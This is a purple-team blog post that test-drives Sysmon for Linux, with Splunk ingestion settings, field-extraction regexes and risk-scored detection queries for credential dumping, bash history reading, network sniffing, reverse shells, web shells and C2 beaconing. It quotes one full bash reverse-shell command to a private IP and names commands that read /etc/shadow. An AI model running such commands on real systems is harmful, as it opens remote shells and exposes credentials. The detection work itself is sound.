Sysmon for Linux Test Drive

Anton Ovrutsky -

If you have been within planetary orbit of our Purple Team, you will know that we are huge fans of Sysmon. You can imagine our excitement when Microsoft announced that Sysmon would be coming to Linux a few months ago. Well, the wait is now over and Sysmon is available for download and use! Olaf Hartong and Roberto Rodriguez have really great write-ups that cover how to install Sysmon for Linux, including sample configurations and detailed setup instructions. You can find the relevant articles here:

The setup process is fairly straight forward, and you should be up and running in no time.What kind of telemetry can you see once you have Sysmon for Linux set up? Let’s dig in.

Getting the Data into Splunk

In order to get the data into Splunk, add the following code to your inputs.conf file in your Splunk_TA_Nix Application:

[journald://sysmon]
interval = 30
journalctl-quiet = true
journalctl-include-fields = MESSAGE
journalctl-filter = _SYSTEMD_UNIT=sysmon.service
disabled = false

Note: We adapted this version of inputs.conf from the one found here:

This will send the “MESSAGE” field from the Sysmon event to your Splunk instance. From there, you can extract the needed fields via the field extraction wizard or props and transforms.conf. Here are the relevant extractions:

(?<RuleName>(?<=\<Data Name\=\ RuleName\ \>)(.)(?=\<\/Data\>))
(?<SecurityUserId>(?<=Security UserId\=\ )(.*)(?=\ \/))
(?<Channel>(?<=Channel>)(.*)(?=\<\/Cha))
(?U)(?<CommandLine>(?<=\<Data Name="CommandLine">)(.*)(?=\<\/Data\>))
(?U)(?<Company>(?<=\<Data Name="Company">)(.*)(?=\<\/Data\>))
(?<Computer>(?<=Computer>)(.*)(?=\<\/Computer))
(?U)(?<Configuration>(?<=\<Data Name="Configuration">)(.*)(?=\<\/Data\>))
(?U)(?<ConfigurationFileHash>(?<=\<Data Name="ConfigurationFileHash">)(.*)(?=\<\/Data\>))
(?U)(?<CreationUtcTime>(?<=\<Data Name="CreationUtcTime">)(.*)(?=\<\/Data\>))
(?U)(?<CurrentDirectory>(?<=\<Data Name="CurrentDirectory">)(.*)(?=\<\/Data\>))
(?U)(?<DestinationHostname>(?<=\<Data Name="DestinationHostname">)(.*)(?=\<\/Data\>))
(?U)(?<DestinationIp>(?<=\<Data Name="DestinationIp">)(.*)(?=\<\/Data\>))
(?U)(?<DestinationIsIpv6>(?<=\<Data Name="DestinationIsIpv6">)(.*)(?=\<\/Data\>))
(?U)(?<DestinationPort>(?<=\<Data Name="DestinationPort">)(.*)(?=\<\/Data\>))
(?U)(?<DestinationPortName>(?<=\<Data Name="DestinationPortName">)(.*)(?=\<\/Data\>))
(?U)(?<Device>(?<=\<Data Name="Device">)(.*)(?=\<\/Data\>))
(?<EventID>(?<=EventID>)(.*)(?=\<\/EventID))
(?U)(?<GrantedAccess>(?<=\<Data Name="GrantedAccess">)(.*)(?=\<\/Data\>))
(?U)(?<Hashes>(?<=\<Data Name="Hashes">)(.*)(?=\<\/Data\>))
(?U)(?<Image>(?<=<Data Name="Image">)(.*)(?=\<\/Data\>))
(?U)(?<Initiated>(?<=\<Data Name="Initiated">)(.*)(?=\<\/Data\>))
(?U)(?<IntegrityLevel>(?<=\<Data Name="IntegrityLevel">)(.*)(?=\<\/Data\>))
(?U)(?<IsExecutable>(?<=\<Data Name="IsExecutable">)(.*)(?=\<\/Data\>))
(?U)(?<LogonGuid>(?<=\<Data Name="LogonGuid">)(.*)(?=\<\/Data\>))
(?U)(?<OriginalFileName>(?<=\<Data Name="OriginalFileName">)(.*)(?=\<\/Data\>))
(?U)(?<ParentCommandLine>(?<=\<Data Name="ParentCommandLine">)(.*)(?=\<\/Data\>))
(?U)(?<ParentImage>(?<=\<Data Name="ParentImage">)(.*)(?=\<\/Data\>))
(?U)(?<ParentProcessGuid>(?<=\<Data Name="ParentProcessGuid">)(.*)(?=\<\/Data\>))
(?U)(?<ParentProcessId>(?<=\<Data Name="ParentProcessId">)(.*)(?=\<\/Data\>))
(?U)(?<ParentUser>(?<=\<Data Name="ParentUser">)(.*)(?=\<\/Data\>))
(?U)(?<ProcessGuid>(?<=\<Data Name="ProcessGuid">)(.*)(?=\<\/Data\>))
(?U)(?<ProcessId>(?<=<Data Name="ProcessId">)(.*)(?=\<\/Data\>))
(?U)(?<Product>(?<=\<Data Name="Product">)(.*)(?=\<\/Data\>))
(?U)(?<Protocol>(?<=\<Data Name="Protocol">)(.*)(?=\<\/Data\>))
(?U)(?<SourceHostname>(?<=\<Data Name="SourceHostname">)(.*)(?=\<\/Data\>))
(?U)(?<SourceImage>(?<=\<Data Name="SourceImage">)(.*)(?=\<\/Data\>))
(?U)(?<SourceIp>(?<=\<Data Name="SourceIp">)(.*)(?=\<\/Data\>))
(?U)(?<SourceIsIpv6>(?<=\<Data Name="SourceIsIpv6">)(.*)(?=\<\/Data\>))
(?U)(?<SourcePort>(?<=\<Data Name="SourcePort">)(.*)(?=\<\/Data\>))
(?U)(?<SourcePortName>(?<=\<Data Name="SourcePortName">)(.*)(?=\<\/Data\>))
(?U)(?<SourceProcessGUID>(?<=\<Data Name="SourceProcessGUID">)(.*)(?=\<\/Data\>))
(?U)(?<SourceProcessId>(?<=\<Data Name="SourceProcessId">)(.*)(?=\<\/Data\>))
(?U)(?<SourceThreadId>(?<=\<Data Name="SourceThreadId">)(.*)(?=\<\/Data\>))
(?U)(?<SourceUser>(?<=\<Data Name="SourceUser">)(.*)(?=\<\/Data\>))
(?U)(?<TargetFilename>(?<=\<Data Name="TargetFilename">)(.*)(?=\<\/Data\>))
(?U)(?<TargetProcessGUID>(?<=\<Data Name="TargetProcessGUID">)(.*)(?=\<\/Data\>))
(?U)(?<TargetProcessId>(?<=\<Data Name="TargetProcessId">)(.*)(?=\<\/Data\>))
(?U)(?<TargetUser>(?<=\<Data Name="TargetUser">)(.*)(?=\<\/Data\>))
(?U)(?<TerminalSessionId>(?<=\<Data Name="TerminalSessionId">)(.*)(?=\<\/Data\>))
(?U)(?<User>(?<=\<Data Name="User">)(.*)(?=\<\/Data\>))
(?U)(?<UtcTime>(?<=<Data Name="UtcTime">)(.*)(?=\<\/Data\>))
(?U)(?<CallTrace>(?<=\<Data Name="CallTrace">)(.*)(?=\<\/Data\>))

We imagine that more robust support for parsing these events is imminent. However, these extractions are a good starting point to get you up and running.

The TTPs

Now that we have the data in our Splunk instance – or your tool of choice for hunting purposes – we can run some TTPs on a Linux machine and see what kind of data we get. Many of the tests below used the awesome Atomic Red Team framework from Red Canary, specifically the Linux Matrix, which can be found here:

OS Credential Dumping: /etc/passwd and /etc/shadow – T1003.008

Many demonstrated queries for this blog use “Hyper Queries”, as outlined by Alex Teixeira here:

A side note, if you have not checked this blog out and are in the detection engineering space, we highly recommended that you read it.The query below looks for Process Create events specifically and the usage of /usr/bin/cat and /etc/shadow on the command line. Using these types of queries affords you flexibility in lowering or raising a “risk” score based on certain characteristics. For example, cat alone on the command line might not be suspicious, but cat combined with /etc/shadow would warrant a closer look.

index=linux sourcetype="sysmon_linux" EventID=1

| eval qualifiers=if(match(Image,"/usr/bin/cat"), mvappend(qualifiers,"cat command used # score: 1"),qualifiers)
| eval qualifiers=if(match(CommandLine,"/etc/shadow"), mvappend(qualifiers,"/etc/shadow access # score: 5"),qualifiers)

| rex field=qualifiers "(?<=score: )(?<score>(.*)(?=))" 
| eventstats sum(score) as score_total by host,_time
| search qualifiers=*
| stats values(qualifiers),values(Image),values(ParentCommandLine),values(CommandLine),values(score_total) AS score BY host,_time
| sort -score

After executing our query, we can see the results where conventional cat executions are rated lower than cat executions when reading /etc/shadow

Unsecured Credentials: Bash History – T1552.003

We can use similar logic to assess users reading bash history. The sample alert below indicates an increased a risk score for someone using both the cat command along with .bash_history on the same command line. Since adversaries are most likely searching for sensitive information such as passwords within the .bash_history file, we can also add some qualifiers based on the syntax of grep commands.

index=linux sourcetype="sysmon_linux" EventID=1

| eval qualifiers=if(match(Image,"/usr/bin/cat"), mvappend(qualifiers,"cat command used # score: 1"),qualifiers)
| eval qualifiers=if(match(CommandLine,".bash_history"), mvappend(qualifiers,"bash history access # score: 5"),qualifiers)
| eval qualifiers=if(match(CommandLine,"grep"), mvappend(qualifiers,"grep usage # score: 1"),qualifiers)
| eval qualifiers=if(match(CommandLine,"pass"), mvappend(qualifiers,"sensitive command line verb \"pass\" # score: 5"),qualifiers)
| eval qualifiers=if(match(CommandLine,"ssh"), mvappend(qualifiers,"sensitive command line verb \"ssh\" # score: 5"),qualifiers)

| rex field=qualifiers "(?<=score: )(?<score>(.*)(?=))" 
| eventstats sum(score) as score_total by host,_time
| search qualifiers=*
| stats values(qualifiers),values(Image),values(ParentCommandLine),values(CommandLine),values(score_total) AS score BY host,_time
| sort -score

Looking at the results, we can see that our scores climb when sensitive keywords are found within grep commands as well as the reading of .bash_history via the cat command.

We note here that the original command was executed via a pipe (as seen in the below screenshot). However, Sysmon picked this ‘piped’ command up as two distinct commands. Be sure to keep this parse in mind when digging through these types of Sysmon for Linux logs.

T1040 – Network Sniffing

In this example, we are observing the execution of tcpdump by the root user and adding our qualifiers accordingly. By adding a user account to our qualifiers, we can more effectively filter out legitimate sysadmin usage from potentially malicious usage of any network sniffing utilities.

index=linux sourcetype="sysmon_linux" EventID=1

| eval qualifiers=if(match(ParentUser,"root"), mvappend(qualifiers,"root action taken # score: 10"),qualifiers)
| eval qualifiers=if(match(CommandLine,"tcpdump"), mvappend(qualifiers,"tcpdump usage # score: 20"),qualifiers)

| rex field=qualifiers "(?<=score: )(?<score>(.*)(?=))" 
| eventstats sum(score) as score_total by host,_time
| search qualifiers=*
| stats values(qualifiers),values(Image),values(ParentCommandLine),values(CommandLine),values(score_total) AS score BY host,_time
| sort -score

After running our query, we see our risk score climb because the root user ran tcpdump.

T1059.004 – Command Scripting and Interpreter: Unix Shell

Linux voodoo allows a bash prompt to be redirected to a TCP endpoint ( https://tldp.org/LDP/abs/html/devref1.html#DEVTCP ). We can focus our qualifier query on the /usr/bin/bash process and look for suspicious command line values such as bash -i as well as the bash process making outgoing network connections.

index=linux sourcetype="sysmon_linux" Image="/usr/bin/bash"

| bin _time span=1m

| eval qualifiers=if(match(CommandLine,"bash -i"), mvappend(qualifiers,"Suspicious bash command line # score: 20"),qualifiers)
| eval qualifiers=if(match(Initiated,"true"), mvappend(qualifiers,"bash outgoing network connect # score: 30"),qualifiers)

| rex field=qualifiers "(?<=score: )(?<score>(.*)(?=))" 
| eventstats sum(score) as score_total by host,_time
| search qualifiers=*
| stats values(qualifiers),values(Image),values(ParentCommandLine),values(CommandLine),values(DestinationIp),values(DestinationPort),values(score_total) AS score BY host,_time
| sort -score

These results are interesting. The full command, which looked something like bash -i >& /dev/tcp/192.168.1.182/1234 0>&1 shows up in the logs as simply bash -i. However, we still do see the outgoing network connection.

T1059.006 – Command Scripting and Interpreter: Python

Python is usually found on Linux machines and can also be used or abused by threat actors to execute a reverse shell to an attacker’s host.
Similar to our bash query above, we can narrow our qualifier query to the Python process and look for suspicious command line strings like socket and combine that with the Python process making outgoing network connections.

index=linux sourcetype="sysmon_linux" Image="/usr/bin/python3.9"

| bin _time span=1m

| eval qualifiers=if(match(CommandLine,"socket"), mvappend(qualifiers,"Suspicious Python command line # score: 20"),qualifiers)
| eval qualifiers=if(match(Initiated,"true"), mvappend(qualifiers,"Python outgoing network connect # score: 30"),qualifiers)

| rex field=qualifiers "(?<=score: )(?<score>(.*)(?=))" 
| eventstats sum(score) as score_total by host,_time
| search qualifiers=*
| stats values(qualifiers),values(Image),values(ParentCommandLine),values(CommandLine),values(DestinationIp),values(DestinationPort),values(score_total) AS score BY host,_time
| sort -score

In this case, the command line that was logged matches the Python command entered into the terminal to establish reverse shell connectivity.

T1505.003 – Server Software Component: Web Shell

Sysmon for Linux can be used to detect potential web shell activity. The following qualifier query examines Process Create and Network Connect events for the www-data user specifically. The query then checks for CommandLine values such as /bin/sh which would indicate that the www-data user is spawning a shell. Further, the query checks for common enumeration commands executed by the threat actor upon landing their web shell (e.g., whoami or id). Finally, the query looks for any outbound network connectivity for the www-data user.

index=linux sourcetype="sysmon_linux" EventID=1 OR EventID=3 User="www-data"

| bin _time span=1m

| eval qualifiers=if(match(CommandLine,"/bin/sh"), mvappend(qualifiers,"Potential Web Shell # score: 40"),qualifiers)
| eval qualifiers=if(match(CommandLine,"whoami"), mvappend(qualifiers,"Potential Web Shell Command # score: 30"),qualifiers)
| eval qualifiers=if(match(CommandLine,"id"), mvappend(qualifiers,"Potential Web Shell Command # score: 30"),qualifiers)
| eval qualifiers=if(match(Initiated,"false"), mvappend(qualifiers,"Outgoing NetworkConnect for suspicious user # score: 10"),qualifiers)

| rex field=qualifiers "(?<=score: )(?<score>(.*)(?=))" 
| eventstats sum(score) as score_total by host,_time
| search qualifiers=*
| stats values(qualifiers),values(Image),values(ParentCommandLine),values(CommandLine),values(DestinationIp),values(DestinationPort),values(score_total) AS score BY host,_time
| sort -score

The results our web shell query are interesting. We can observe the enumeration commands that our ‘attacker’ executed and the subsequent outbound network connection.

TA001 – Command and Control (Beaconing)

One of our favorite events in Sysmon for Windows is Event ID 3 or Network Connect. We were very happy that the Sysmon for Linux creators included this event as well. This event gives you the ability to tie a network connection to a process, which is an extremely important piece of data to have during hunting or incident response engagements. Here, we are using the awesome Mythic Command and Control framework, authored by Cody Thomas and the Poseidon payload:

The first version of our beaconing query is adapted from an older Splunk blog which can be found here:

index=linux EventID=3
| fields _time,DestinationIp
| streamstats current=f last(_time) as last_time by DestinationIp
| eval gap=last_time - _time
| stats count avg(gap) AS AverageBeaconTime var(gap) AS VarianceBeaconTime BY DestinationIp
| eval AverageBeaconTime=round(AverageBeaconTime,3), VarianceBeaconTime=round(VarianceBeaconTime,3)
| sort -count
| where VarianceBeaconTime < 60 AND count > 2 AND AverageBeaconTime>1.000
| table  DestinationIp VarianceBeaconTime  count AverageBeaconTime

Looking at the results, the query was able to successfully identify and highlight our ‘malicious’ C2 address.

We can also use a variation of this query, once again adapted from work by Alex Teixeira .
The original query can be found here:

Here we are simply adapting this query to work with the fields found in Sysmon for Linux’s Network Connect events:

index=linux EventID=3
| eval current_time=_time
| sort 0 + current_time
| streamstats global=f window=2 current=f last(current_time) AS previous_time by SourceIp, DestinationIp
| eval diff_time=current_time-previous_time
| eventstats count, stdev(diff_time) AS std by SourceIp, DestinationIp 
| where std<5 AND count>100
| stats count AS conn_count, dc(SourceIp) AS unique_sources, values(Protocol) AS Protocol, values(std) AS diff_deviation BY DestinationIp

And once again the query is able to identify the beaconing behavior and find our ‘malicious’ C2 location. Of course things would not be so straight forward in a real world production environment, but this is a start.

When most blue teamers think of “beaconing queries” the usual frame of reference is DNS or Proxy logs. However, these queries can be used on rich host-level telemetry such as Sysmon’s Network Connect events.

Conclusion

A community has been built up around Sysmon, with detection rules, configurations and tooling being published regularly. Given how illusive a goal Linux visibility has been for many organizations, it is very exciting to see the power of Sysmon being brought to Linux operating systems. We fully expect the application to mature over time, just as it has on the Windows platform, with new events and features being added. The aim of this blog post has been to “kick the tires” and take Sysmon for Linux for a light test drive and demonstrate some, hopefully helpful, use cases and TTP executions. Our hope is that this gets the defensive wheels turning and piques interest in this amazingly powerful tool.